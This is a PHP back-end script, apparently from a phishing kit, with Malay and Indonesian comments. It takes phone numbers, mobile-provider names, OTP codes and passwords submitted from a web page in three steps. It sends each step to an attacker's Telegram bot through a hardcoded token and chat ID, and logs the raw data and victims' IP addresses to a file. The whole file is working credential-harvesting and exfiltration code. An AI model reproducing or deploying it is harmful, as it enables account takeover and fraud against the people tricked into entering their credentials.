<?php
// received.php
// File untuk menerima data dari web dan hantar ke Telegram Bot

header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST');
header('Access-Control-Allow-Headers: Content-Type');

// Konfigurasi Telegram Bot
$botToken = '8577049638:AAGOY-litHTzat5jr4aEQTuoOCrhXeg1258'; // Ganti dengan token bot Telegram anda
$chatId = '7540128251';     // Ganti dengan chat ID anda

// Fungsi untuk menghantar mesej ke Telegram
function sendTelegramMessage($botToken, $chatId, $message) {
    $url = "https://api.telegram.org/bot{$botToken}/sendMessage";
    
    $data = [
        'chat_id' => $chatId,
        'text' => $message,
        'parse_mode' => 'HTML'
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return [
        'success' => ($httpCode == 200),
        'response' => json_decode($response, true),
        'http_code' => $httpCode
    ];
}

// Fungsi untuk format mesej
function formatMessage($step, $data) {
    $header = "🔥 DATA BANG MULED 🔥\n";
    $header .= "═══════════════════\n\n";
    
    $footer = "\n═══════════════════\n";
    $footer .= "⚠️ KO CIAKO PATAMAI PAJAI BANNI MAJJAMA ⚠️\n";
    $footer .= "═══════════════════\n";
    $footer .= "⏰ " . date('d-m-Y H:i:s') . " | 🌐 " . $_SERVER['REMOTE_ADDR'];
    
    switch($step) {
        case 'STEP1':
            $message = $header;
            $message .= "📌 <b>STEP 1 - NOMOR HP</b>\n\n";
            $message .= "🏢 <b>Provider:</b> " . htmlspecialchars($data['provider']) . "\n";
            $message .= "📱 <b>Nomor HP:</b> <code>" . htmlspecialchars($data['nomor']) . "</code>\n";
            $message .= $footer;
            break;
            
        case 'STEP2':
            $message = $header;
            $message .= "📌 <b>STEP 2 - KOD OTP</b>\n\n";
            $message .= "🏢 <b>Provider:</b> " . htmlspecialchars($data['provider']) . "\n";
            $message .= "📱 <b>Nomor HP:</b> <code>" . htmlspecialchars($data['nomor']) . "</code>\n";
            $message .= "🔐 <b>Kod OTP:</b> <code>" . htmlspecialchars($data['kode']) . "</code>\n";
            $message .= $footer;
            break;
            
        case 'STEP3':
            $message = $header;
            $message .= "📌 <b>STEP 3 - KATA LALUAN</b>\n\n";
            $message .= "🏢 <b>Provider:</b> " . htmlspecialchars($data['provider']) . "\n";
            $message .= "📱 <b>Nomor HP:</b> <code>" . htmlspecialchars($data['nomor']) . "</code>\n";
            $message .= "🔐 <b>Kod OTP:</b> <code>" . htmlspecialchars($data['kode']) . "</code>\n";
            $message .= "🔑 <b>Kata Laluan:</b> <code>" . htmlspecialchars($data['kata_laluan']) . "</code>\n";
            $message .= $footer;
            break;
            
        default:
            $message = $header;
            $message .= "❓ <b>STEP TIDAK DIKETAHUI</b>\n\n";
            $message .= "📄 <b>Data Raw:</b>\n";
            $message .= "<pre>" . json_encode($data, JSON_PRETTY_PRINT) . "</pre>\n";
            $message .= $footer;
    }
    
    return $message;
}

// Main process
try {
    // Ambil data JSON dari request
    $json = file_get_contents('php://input');
    $data = json_decode($json, true);
    
    // Log untuk debug (simpan ke file)
    $logFile = 'received_log.txt';
    $logData = date('Y-m-d H:i:s') . " | IP: " . $_SERVER['REMOTE_ADDR'] . " | Data: " . $json . "\n";
    file_put_contents($logFile, $logData, FILE_APPEND | LOCK_EX);
    
    // Semak jika data valid
    if (!$data || !isset($data['step'])) {
        throw new Exception('Data tidak valid atau step tidak ditemui');
    }
    
    $step = $data['step'];
    
    // Format mesej
    $message = formatMessage($step, $data);
    
    // Hantar ke Telegram (jika token dan chat ID telah diset)
    $telegramResult = ['success' => false, 'note' => 'Bot belum dikonfigurasi'];
    
    if ($botToken !== 'YOUR_BOT_TOKEN_HERE' && $chatId !== 'YOUR_CHAT_ID_HERE') {
        $telegramResult = sendTelegramMessage($botToken, $chatId, $message);
    }
    
    // Response success
    $response = [
        'status' => 'success',
        'message' => 'Data diterima dan diproses',
        'step' => $step,
        'telegram_sent' => $telegramResult['success'],
        'timestamp' => date('Y-m-d H:i:s')
    ];
    
    http_response_code(200);
    echo json_encode($response);
    
} catch (Exception $e) {
    // Response error
    $response = [
        'status' => 'error',
        'message' => $e->getMessage(),
        'timestamp' => date('Y-m-d H:i:s')
    ];
    
    http_response_code(400);
    echo json_encode($response);
}
?>